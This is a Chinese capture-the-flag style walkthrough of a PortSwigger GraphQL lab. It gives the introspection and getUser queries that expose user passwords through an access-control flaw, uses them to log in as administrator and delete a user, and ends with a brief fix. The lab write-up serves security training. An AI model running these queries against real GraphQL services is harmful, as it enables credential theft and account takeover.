Portswigger练兵场之GraphQL API
目录
GraphQL API-通过未被净化的参数获取账户密码
Lab: Accidental exposure of private GraphQL fields
实验前置必要知识点
寻找关于GraphQL
漏洞的时候,测试查询参数是否被净化是一个很好的起点,API
使用参数直接访问对象,则可能容易受到访问控制漏洞的攻击。用户可以通过提供与该信息相对应的参数来访问他们不应该拥有的信息。这有时称为不安全的直接对象引用 (IDOR)
。
要发现架构信息,查询__schema
字段,此字段在所有查询的根类型上可用。
//例如
#Introspection probe request
{
"query": "{__schema{queryType{name}}}"
}
实验要求
该实验室的用户管理功能由GraphQL端点提供支持。该实验室包含一个访问控制漏洞,您可以通过该漏洞诱使API泄漏用户凭据字段。
若要解决实验室问题,请以管理员身份登录并删除carlos用户名
渗透开始
- 访问对应靶场界面
https://portswigger.net/web-security/graphql/lab-graphql-accidental-field-exposure
- 启动靶场
1. 站点分析
这是博客类型的网站
具有查看博客功能
以及登录的功能
点点点了博客,又尝试了一下登录的端点
2. 寻找可疑功能点(查看Burp历史记录进行分析)
从总体来看,该站点使用了GraphQL
进行博客查看以及登录功能
因此,分析突破口在登录功能点
3. 功能点测试
将对应的日志信息发送到重放模块
尝试修改POST
请求
{"query":"\n mutation login($input: LoginInput!) {\n login(input: $input) {\n token\n success\n }\n }","operationName":"login","variables":{"input":{"username":"admin","password":"admin"}}}
改为查询根上内容
{
"query": "{__schema{queryType{name}}}"
}
获得了根内容query
构造内容查询内部所有参数
{
"query": "query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description args { ...InputValue } } } }fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name } } } }"
}
通过这种方法查询到了所有的参数
将内容发送到可视化工具
可以看见
说明存在关于getUser
的查询,在非登陆处构造对应的查询语句
{"query":"\n query getUser($id: Int!) {\n getUser(id: $id) {id \n username \n password }\n }",
"variables":{"id":2}}
发现可以查看到本文章的账户以及密码
修改id
查询管理员用户的密码
4.删除用户完成试验
根据账号密码登录管理员用户
找到管理面板删除用户完成实验
实验完成
5.利用InQL工具
发送到对应工具可以很直观的发现
发送到重放模块可直接拿来利用
{"query": "query {\n\tgetUser(id:1334) {\n\t\tpassword\n\t\tid\n\t\tusername\n\t}\n}"}
修复方案
禁用查看内省的功能